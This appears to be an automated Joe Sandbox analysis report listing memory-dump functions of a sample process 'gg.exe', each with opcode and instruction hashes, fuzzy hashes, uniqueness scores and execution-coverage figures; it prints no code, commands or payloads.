Memory Dump Source

Source File: 00000007.00000002.3478220574.0000022F0C40C000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000022F0C40C000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_22f0c40c000_embedded.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 23b44aa292820013d320316acf97590cd588a90dc143f171c35868205d26e301
Instruction ID: 6dde40bde60a89cb57607981e464c232462cf6330e8de3c110da3b27cfde2d11
Opcode Fuzzy Hash: 23b44aa292820013d320316acf97590cd588a90dc143f171c35868205d26e301
Instruction Fuzzy Hash: AA426234618E0D9FDBD4EBACC689B69B3F0FB58300F540579D84AD3697CA32E9459B40

Uniqueness

Uniqueness Score: -1.00%

Function 0000022F0C41DEEC Relevance: .3, Instructions: 280COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3478220574.0000022F0C40C000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000022F0C40C000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_22f0c40c000_embedded.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f6e2d5081d89460c3dca1a952d53b67a908dd308cf6f5b21d6a8310c3104190
Instruction ID: 40dfffa08f94d1ff5133bafbfb30a9b7f24a2f5b8b4f2494101a16c85b05162a
Opcode Fuzzy Hash: 4f6e2d5081d89460c3dca1a952d53b67a908dd308cf6f5b21d6a8310c3104190
Instruction Fuzzy Hash: 6DA11A74A18E089FDF98EF9DC5C9B69B7F0FB68700F114969D989D3266CA30E940CB41

Uniqueness

Uniqueness Score: -1.00%

Function 0000022F0C4104D4 Relevance: .1, Instructions: 134COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3478220574.0000022F0C40C000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000022F0C40C000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_22f0c40c000_embedded.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d073ea6415d0db3c17bdc8a98aebfe16329abf3a99ce1380e324cf6d63500e2d
Instruction ID: 43a70bfb3718b8022f6fbf943d751dbbece203c7bc22f912efdd521a7acc4155
Opcode Fuzzy Hash: d073ea6415d0db3c17bdc8a98aebfe16329abf3a99ce1380e324cf6d63500e2d
Instruction Fuzzy Hash: 3941842181CF848BE3198F5C9946BB6B3F0FB6D304F04970DE9CE81052DF31B1A68686

Uniqueness

Uniqueness Score: -1.00%

Function 0000022F0C42D936 Relevance: .1, Instructions: 123COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3478220574.0000022F0C40C000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000022F0C40C000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_22f0c40c000_embedded.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d0eaa389417a297514ba406972abe5c67d5c474a303992de1aae04ac59a65431
Instruction ID: b98a3fa1ca0cba438d323e7751e27a7ad0b64aac77c192e5d88be70e34657c90
Opcode Fuzzy Hash: d0eaa389417a297514ba406972abe5c67d5c474a303992de1aae04ac59a65431
Instruction Fuzzy Hash: 9041D230608A088FDB98EF5DD185F6573E1FB68704F500AADE48DD7696CA32E852DB81

Uniqueness

Uniqueness Score: -1.00%

Function 0000022F0C422F34 Relevance: .1, Instructions: 120COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3478220574.0000022F0C40C000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000022F0C40C000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_22f0c40c000_embedded.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6ddf099b04ed4c520c7181b7dabb50bf80a25656aa7a09b37d330ab1ef30c892
Instruction ID: 1bedde1b540f049afcd256d640478ced6354855d883738d102f25d42fc48dd5c
Opcode Fuzzy Hash: 6ddf099b04ed4c520c7181b7dabb50bf80a25656aa7a09b37d330ab1ef30c892
Instruction Fuzzy Hash: 47412134618E099FDFD4EF68C28AB69B7F1FB58300F50497DD449D329AC635E9448B81

Uniqueness

Uniqueness Score: -1.00%

Function 0000022F0C445A54 Relevance: .1, Instructions: 97COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3478220574.0000022F0C40C000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000022F0C40C000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_22f0c40c000_embedded.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5da719434b85376a9c3353510d37723e1c2281e201ff7781b00b3def157fba24
Instruction ID: 09539ef03eb7b36ae20f81ac8b1801a2a159b44161010bd6a0c874391b667cd3
Opcode Fuzzy Hash: 5da719434b85376a9c3353510d37723e1c2281e201ff7781b00b3def157fba24
Instruction Fuzzy Hash: 5B314B70618E099FCB98EF59C5C9A6AB7F1FB6C700F10456DE55DD36AACA30E840CB81

Uniqueness

Uniqueness Score: -1.00%

Function 0000022F0C445B34 Relevance: .1, Instructions: 97COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3478220574.0000022F0C40C000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000022F0C40C000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_22f0c40c000_embedded.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b51a92f09b4acb07c4ffd6f45a2083d73a9e01bd2c3bef09065cd94cd88a9648
Instruction ID: 0a69a39ecdb362541521be14e6c8f5cb7818c6319733b5b646f6bc96bcffcf48
Opcode Fuzzy Hash: b51a92f09b4acb07c4ffd6f45a2083d73a9e01bd2c3bef09065cd94cd88a9648
Instruction Fuzzy Hash: 25310A30618E099FDF98EF59D5C9A69B7E0FB68701F50462DE459C369ACB30F850CB81

Uniqueness

Uniqueness Score: -1.00%

Function 0000022F0C4243C0 Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3478220574.0000022F0C40C000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000022F0C40C000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_22f0c40c000_embedded.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fe14b9279ba77926b90e1d41dbcc05c6be5d4765db607cd81b5b2c4368556dfc
Instruction ID: c536abcb916d27c2489f3ff34748caeac509a047b2dbdebfb883f4e26ed763ff
Opcode Fuzzy Hash: fe14b9279ba77926b90e1d41dbcc05c6be5d4765db607cd81b5b2c4368556dfc
Instruction Fuzzy Hash: DF213D30618E089FDF94EF58C589B69B7E1FB6C700F504969E44DC365ACA31E8908B81

Uniqueness

Uniqueness Score: -1.00%

Function 0000022F0C426508 Relevance: .1, Instructions: 82COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3478220574.0000022F0C40C000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000022F0C40C000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_22f0c40c000_embedded.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 681b9a4a800e0ef6be880e6bd348049ae75e5febe25d3c7d46c93ab8f3283d3e
Instruction ID: 2b4656dcf54380c766fa8213ef92004101a30ecda02bcb48e08dad20d2e2eaa5
Opcode Fuzzy Hash: 681b9a4a800e0ef6be880e6bd348049ae75e5febe25d3c7d46c93ab8f3283d3e
Instruction Fuzzy Hash: 4D211D30218F099FDB94EF59D9CAAA9B7E0FB28700F514569E44983656DA31F890CBC2

Uniqueness

Uniqueness Score: -1.00%

Function 0000022F0C454758 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3478220574.0000022F0C40C000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000022F0C40C000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_22f0c40c000_embedded.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fc9ef544748c2a7be3db899d38eee1f136acb3edcc09006209ad3aeed25d80bb
Instruction ID: 009c90463b8a01e424dc3f6af9c07f11cce7bee6cfee308e183d60ddd6d27add
Opcode Fuzzy Hash: fc9ef544748c2a7be3db899d38eee1f136acb3edcc09006209ad3aeed25d80bb
Instruction Fuzzy Hash: F9119732928F0D9EFA999B58DA4C766B3E1FB95310F11063BD40AC35D3C835A0C24640

Uniqueness

Uniqueness Score: -1.00%

Function 0000022F0C4239A3 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3478220574.0000022F0C40C000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000022F0C40C000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_22f0c40c000_embedded.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 281563b09eed1ecd67925fc7cb5515647ad93059964e2b5664bcd1f42ec34015
Instruction ID: 129d33774b1b9ff3dfd8c2901e6a2431cd308bd3413770d6e19964b120c09007
Opcode Fuzzy Hash: 281563b09eed1ecd67925fc7cb5515647ad93059964e2b5664bcd1f42ec34015
Instruction Fuzzy Hash: 7F21AC34508E089FEB98EF6DD189E95B3F0FB58300F14096EE48AD76A3DB31E4409B44

Uniqueness

Uniqueness Score: -1.00%

Function 0000022F0C4269D4 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3478220574.0000022F0C40C000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000022F0C40C000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_22f0c40c000_embedded.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 389c0b391266fb34b118ce1c8e38fd79864fcb64dcc735da8690d9e933070e9f
Instruction ID: d4f83702c4585399f9e889598a806ede1934b01a0b01505813a603ccd3f6249b
Opcode Fuzzy Hash: 389c0b391266fb34b118ce1c8e38fd79864fcb64dcc735da8690d9e933070e9f
Instruction Fuzzy Hash: 4421D630608E099FCB98EF59D1C5A69B7F0FB68700F404669E45DE3656CA31F890DBC1

Uniqueness

Uniqueness Score: -1.00%

Function 0000022F0C423A08 Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3478220574.0000022F0C40C000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000022F0C40C000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_22f0c40c000_embedded.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8f7385ecc7052596c4579bc6f7983ea8f9df5870c898fa1959efe4d608000910
Instruction ID: b4cb7554c3594aa4d11f9d84b58374f333ec8a33cfd6bb7caaa6cc3b5d48a2aa
Opcode Fuzzy Hash: 8f7385ecc7052596c4579bc6f7983ea8f9df5870c898fa1959efe4d608000910
Instruction Fuzzy Hash: 8D21D034518E089FD6A8EF69D189A66B3F4FB58301F50057DD48AC7AA7DA31F881DB40

Uniqueness

Uniqueness Score: -1.00%

Function 0000022F0C427E3C Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3478220574.0000022F0C40C000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000022F0C40C000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_22f0c40c000_embedded.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 294c55edbca61f3c6331db7b14e3055d684de7df479dab46e0387f7a4e1d1996
Instruction ID: b0a37260136577f4128a19a9d1b4895f83929df41bdc9530da1a64afd383c322
Opcode Fuzzy Hash: 294c55edbca61f3c6331db7b14e3055d684de7df479dab46e0387f7a4e1d1996
Instruction Fuzzy Hash: 60210030218E089FDA94EF68D5C9A69B7F0FB58701F50096DE48DC3697DA31ED908B91

Uniqueness

Uniqueness Score: -1.00%

Function 0000022F0C427290 Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3478220574.0000022F0C40C000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000022F0C40C000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_22f0c40c000_embedded.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ee72ad6feeeaf353972647b08f3706037533ac3c7dd2f60eef1c1ca0139d7d69
Instruction ID: 160bb8a1d972c3255c40f52fd509b3293126cac3d08506e3ad7a761970124442
Opcode Fuzzy Hash: ee72ad6feeeaf353972647b08f3706037533ac3c7dd2f60eef1c1ca0139d7d69
Instruction Fuzzy Hash: 7611C830528F09ABCF94EF59C9C6A59B7F0FB28700F404969E58993657CA31F890CBD2

Uniqueness

Uniqueness Score: -1.00%

Function 0000022F0C422BF0 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3478220574.0000022F0C40C000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000022F0C40C000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_22f0c40c000_embedded.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 939c02088d8388d08030f0f1799d511c4131753c51de703cc4fde00347fef22e
Instruction ID: 618a8f268d60bbf34a63ab1868f9ad761a53eec471f2250c40067b94fb7fba85
Opcode Fuzzy Hash: 939c02088d8388d08030f0f1799d511c4131753c51de703cc4fde00347fef22e
Instruction Fuzzy Hash: D0111E34118E099FDBE8FF69C5CAA69B3E0FB18710F400968E45AD3697DA71F9508B81

Uniqueness

Uniqueness Score: -1.00%

Function 0000022F0C40E72C Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3478220574.0000022F0C40C000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000022F0C40C000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_22f0c40c000_embedded.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 809ea06d39b1e2c793cf4c41aaceab86aa382c27575111122cd3d4fb882ce2cf
Instruction ID: 42d2ddfe29dceb874857180697c8a89b3b9e3acd1c7da042eff60f777619e934
Opcode Fuzzy Hash: 809ea06d39b1e2c793cf4c41aaceab86aa382c27575111122cd3d4fb882ce2cf
Instruction Fuzzy Hash: DCF058B215C7882EB21C9945BC4BCB3B7DCE78632AB10452FF5CA81013E45278134AAA

Uniqueness

Uniqueness Score: -1.00%

Function 0000022F0C426914 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3478220574.0000022F0C40C000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000022F0C40C000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_22f0c40c000_embedded.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b5124e427f025f8cfffb48da23bb4ac115d41395c6f5bc910c2c0b360d88ab61
Instruction ID: f659e2caaf3f634549cfe3de774cee4bec906d5b1090f646e011fc238cbb6c7a
Opcode Fuzzy Hash: b5124e427f025f8cfffb48da23bb4ac115d41395c6f5bc910c2c0b360d88ab61
Instruction Fuzzy Hash: 9C01B174408E089FCBD8EB68C2C97A9B7F0FB08300F50007DE88AD3247DA32D4129741

Uniqueness

Uniqueness Score: -1.00%

Function 0000022F0C4108BC Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3478220574.0000022F0C40C000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000022F0C40C000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_22f0c40c000_embedded.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: da8dc76d1b070d06af2b4c3b0a34d2fab4ed22bdd9adda4deef52c177e8e960f
Instruction ID: 989e36e5b979e92da3f5f0106bc243b8265d6a5eeae86e19953b0fd565140183
Opcode Fuzzy Hash: da8dc76d1b070d06af2b4c3b0a34d2fab4ed22bdd9adda4deef52c177e8e960f
Instruction Fuzzy Hash: 1A016D70818F0C4BDB14EF69A409792BBE1FB88300F404A5EE4ADC3281DB346494CB86

Uniqueness

Uniqueness Score: -1.00%

Function 0000022F0C413BC4 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3478220574.0000022F0C40C000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000022F0C40C000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_22f0c40c000_embedded.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0f8201fc75e839762ea99641ea284e2192f260c972351643c92f145bba68559b
Instruction ID: db9e753b25144d90039d475ab3bcc7fdc8e0a2e0f2e3582954822a7ae9b1b5f9
Opcode Fuzzy Hash: 0f8201fc75e839762ea99641ea284e2192f260c972351643c92f145bba68559b
Instruction Fuzzy Hash: 3A014834518F489FD694EF68C6CA665B7F0FB14B00F40497DE8DA8356BD630F9548742

Uniqueness

Uniqueness Score: -1.00%

Function 0000022F0C42A2A4 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3478220574.0000022F0C40C000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000022F0C40C000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_22f0c40c000_embedded.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 86cc16ca6729322736dfda0a7c394bae1d79b1bd7f56789dc8eb1ef0d611dd96
Instruction ID: 193e8758cdf9477be3a6b1b5700d3e519f0f61d504bf95da8a0b8a124045ec0b
Opcode Fuzzy Hash: 86cc16ca6729322736dfda0a7c394bae1d79b1bd7f56789dc8eb1ef0d611dd96
Instruction Fuzzy Hash: A5012C34514A089FE694FFA8D24EB6977F0FB04304F80087DEC9AC3697DA36A944A701

Uniqueness

Uniqueness Score: -1.00%

Function 0000022F0C42393C Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3478220574.0000022F0C40C000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000022F0C40C000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_22f0c40c000_embedded.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: da8bdbf39ac95f9ac36a7c116e1e879e3210838854395d9d19d92985b71dc86b
Instruction ID: 8487e96b0f2317feb1e29be35fc85ec4fe3aaaf98972256727d7f50c9829c7ef
Opcode Fuzzy Hash: da8bdbf39ac95f9ac36a7c116e1e879e3210838854395d9d19d92985b71dc86b
Instruction Fuzzy Hash: 5B01EC34518E089FEAA8EF69D14AA56B3F4FB18300F40087DE48EC76A3DB25F841DB45

Uniqueness

Uniqueness Score: -1.00%

Function 0000022F0C41071C Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3478220574.0000022F0C40C000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000022F0C40C000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_22f0c40c000_embedded.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d0bbf8325a844bc026612307394116e234f320e5b0c3ced7f9f8216ba9d47077
Instruction ID: ef3da2963e5d42d03a6972e443660615a7a18d571fef423728d98aa0b17b12ed
Opcode Fuzzy Hash: d0bbf8325a844bc026612307394116e234f320e5b0c3ced7f9f8216ba9d47077
Instruction Fuzzy Hash: 4F013C7091CF088BEB54EF6DA449792BBE1FB98304F404A5FE4ADC3291DB346494CB86

Uniqueness

Uniqueness Score: -1.00%

Function 0000022F0C410814 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3478220574.0000022F0C40C000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000022F0C40C000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_22f0c40c000_embedded.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c8b7208516cddcdee7902f7b9d1ec389a9c08ea49fa728222af3c188bec9cccb
Instruction ID: 96fd0f57f6a30e5d17e5a6114ad1d7ff1f6fd57b9b0efd6610dcdaf7e90fbb9c
Opcode Fuzzy Hash: c8b7208516cddcdee7902f7b9d1ec389a9c08ea49fa728222af3c188bec9cccb
Instruction Fuzzy Hash: 7C01197091CF088BDB54EF69A449792BBE1FB98304F404A5EE4ADC3291DB356494CB86

Uniqueness

Uniqueness Score: -1.00%

Function 0000022F0C427EF0 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3478220574.0000022F0C40C000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000022F0C40C000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_22f0c40c000_embedded.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7457c68f46af2a6c965656653ca460f532db7bb49719e327d295308b94c2cfb2
Instruction ID: 944388dc90e2f200d2f89597395f345b916638221adbbd3f30c46055b05d1193
Opcode Fuzzy Hash: 7457c68f46af2a6c965656653ca460f532db7bb49719e327d295308b94c2cfb2
Instruction Fuzzy Hash: 20F0123021CE089FDAA8EB69E589B66B3E0FB54301F40056DD48ED3B96DB31F840CB85

Uniqueness

Uniqueness Score: -1.00%

Function 0000022F0C42E7F4 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3478220574.0000022F0C40C000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000022F0C40C000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_22f0c40c000_embedded.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: efe935bd24665c51879672f4331060966107a324a16d76755ed1132a49a661b6
Instruction ID: 4a6d752887614a5682bd8b22406fd31fd8babd73c6fc74aa2160dad19fa59f84
Opcode Fuzzy Hash: efe935bd24665c51879672f4331060966107a324a16d76755ed1132a49a661b6
Instruction Fuzzy Hash: 27F0F830128E488FC7A4EF68D55DA29B7E4FB08301F41096DE89AC3662DE31A890CB51

Uniqueness

Uniqueness Score: -1.00%

Function 0000022F0C42707C Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3478220574.0000022F0C40C000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000022F0C40C000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_22f0c40c000_embedded.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b3149675bec359778621e55aa097ca3ef089accbb9589f343f34adfbaa40d01b
Instruction ID: 311aaabc6b7e4a7a28e4f525ecec8cf5936a4567248ce4a95297e5a15619753a
Opcode Fuzzy Hash: b3149675bec359778621e55aa097ca3ef089accbb9589f343f34adfbaa40d01b
Instruction Fuzzy Hash: 5BF0C930618D0CDFCAD8EB69D589E25B3F0FB28701F400669E49ED3652DA22E9558B82

Uniqueness

Uniqueness Score: -1.00%

Function 0000022F0C42724C Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3478220574.0000022F0C40C000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000022F0C40C000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_22f0c40c000_embedded.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8317faab50ac7c66a26191dae70fa7813a513e9a1bcdd42a8d2a072177619137
Instruction ID: 9739947719fb424e90961814c912b16297705feaaab9b98f8c916d9a1ceac56e
Opcode Fuzzy Hash: 8317faab50ac7c66a26191dae70fa7813a513e9a1bcdd42a8d2a072177619137
Instruction Fuzzy Hash: 7AF03930508E0C9FCAD8FF68D289A29B3E0FB18300F5049ADF49DC3647DA32E8518B51

Uniqueness

Uniqueness Score: -1.00%

Function 0000022F0C42E7C0 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3478220574.0000022F0C40C000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000022F0C40C000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_22f0c40c000_embedded.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 14b40c784dce6d689c495226e21d619e7de06de0ce478d24940a191bdb754341
Instruction ID: 5b7837778f8ba70978972f06ce8d5771c3e8887ac2e952e643adce7d85ede38a
Opcode Fuzzy Hash: 14b40c784dce6d689c495226e21d619e7de06de0ce478d24940a191bdb754341
Instruction Fuzzy Hash: 9FE01234824F485BD690BFB45A4B26AB3E4F744701F800979E8DAC2547D631E5648693

Uniqueness

Uniqueness Score: -1.00%

Function 0000022F0C42A274 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3478220574.0000022F0C40C000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000022F0C40C000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_22f0c40c000_embedded.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f3b51583ab959a0629488c3ac10a70ebcf6a9633a7c434bba773dc378663a834
Instruction ID: ebea479ccd6a356a2ccdebda6adbef8ba41e1298b629ca7d4af3fb51571b079b
Opcode Fuzzy Hash: f3b51583ab959a0629488c3ac10a70ebcf6a9633a7c434bba773dc378663a834
Instruction Fuzzy Hash: 25D05B34424F085BC5D0BFB46A4B26973F4FB04700F800579EC9A82647D633E55456A3

Uniqueness

Uniqueness Score: -1.00%

Function 0000022F0C423918 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3478220574.0000022F0C40C000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000022F0C40C000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_22f0c40c000_embedded.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4d985430cd642aafd0e1857dc8a02a792aebe8b2a401ec30d1c939ee80d7184e
Instruction ID: d93114d90cad362a0b92227c2c6b6dee32b7ee0cfc75db93cad5b0385d223bae
Opcode Fuzzy Hash: 4d985430cd642aafd0e1857dc8a02a792aebe8b2a401ec30d1c939ee80d7184e
Instruction Fuzzy Hash: A2C01234814D485AD0E4AAE0630B369B2BCF705300F800579D89F819A7D916A9945592

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: gg.exePID: 7788, Parent PID: 7648COMMON

Execution Graph

Execution Coverage:	10%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	51
Total number of Limit Nodes:	5

Executed Functions

Function 096A8860 Relevance: 5.5, Strings: 4, Instructions: 496
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$^q, xrefs: 096A90C6
$^q, xrefs: 096A8C49
$^q, xrefs: 096A8B85
$^q, xrefs: 096A8FF9

Memory Dump Source

Source File: 0000000F.00000002.1919808343.00000000096A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 096A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_96a0000_gg.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q
API String ID: 0-2125118731
Opcode ID: 12a6a0c4888d016b0deb630dd449b2095781eb9e4229faa86ba700dbed7bfd25
Instruction ID: fcbefc33529e0b0c7db77cef2d1191f878cc19499fda5b9da1b8466809545da8
Opcode Fuzzy Hash: 12a6a0c4888d016b0deb630dd449b2095781eb9e4229faa86ba700dbed7bfd25
Instruction Fuzzy Hash: E332AF74E01228CFDB68DF64C890BDEBBB2AB49300F1095E9D50AAB351DB359E85CF51

Uniqueness

Uniqueness Score: -1.00%

Function 096A94C8 Relevance: 5.3, Strings: 4, Instructions: 271
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$^q, xrefs: 096A9663
$^q, xrefs: 096A9713
$^q, xrefs: 096A9729
$^q, xrefs: 096A9679

Memory Dump Source

Source File: 0000000F.00000002.1919808343.00000000096A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 096A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_96a0000_gg.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q
API String ID: 0-2125118731
Opcode ID: 0d969624244b66df1396afc74d9ea0088d57df5d379ada282917732c7db2e4aa
Instruction ID: db55af0120e0daf9f006b026bdcfd5945a9baea2451c587578270e5234319634
Opcode Fuzzy Hash: 0d969624244b66df1396afc74d9ea0088d57df5d379ada282917732c7db2e4aa
Instruction Fuzzy Hash: 49C1F774E01218CFDB58DFA9C980B9EBBB2BF89340F2095A9D409AB354DB345D86CF51

Uniqueness

Uniqueness Score: -1.00%

Function 06CBBE70 Relevance: 2.7, Strings: 2, Instructions: 201
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

v, xrefs: 06CBBEF0
1, xrefs: 06CBBF09

Memory Dump Source

Source File: 0000000F.00000002.1916241365.0000000006CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_6cb0000_gg.jbxd

Similarity

API ID:
String ID: 1$v
API String ID: 0-2456183578
Opcode ID: a8912351f6d20fba8d827cc6e4ca17980072a54e1eadac2bd25b09fd1485e50d
Instruction ID: 97748bd0ea454774de3c5989941af576ddf3f389794d201f35352bf75b860a64
Opcode Fuzzy Hash: a8912351f6d20fba8d827cc6e4ca17980072a54e1eadac2bd25b09fd1485e50d
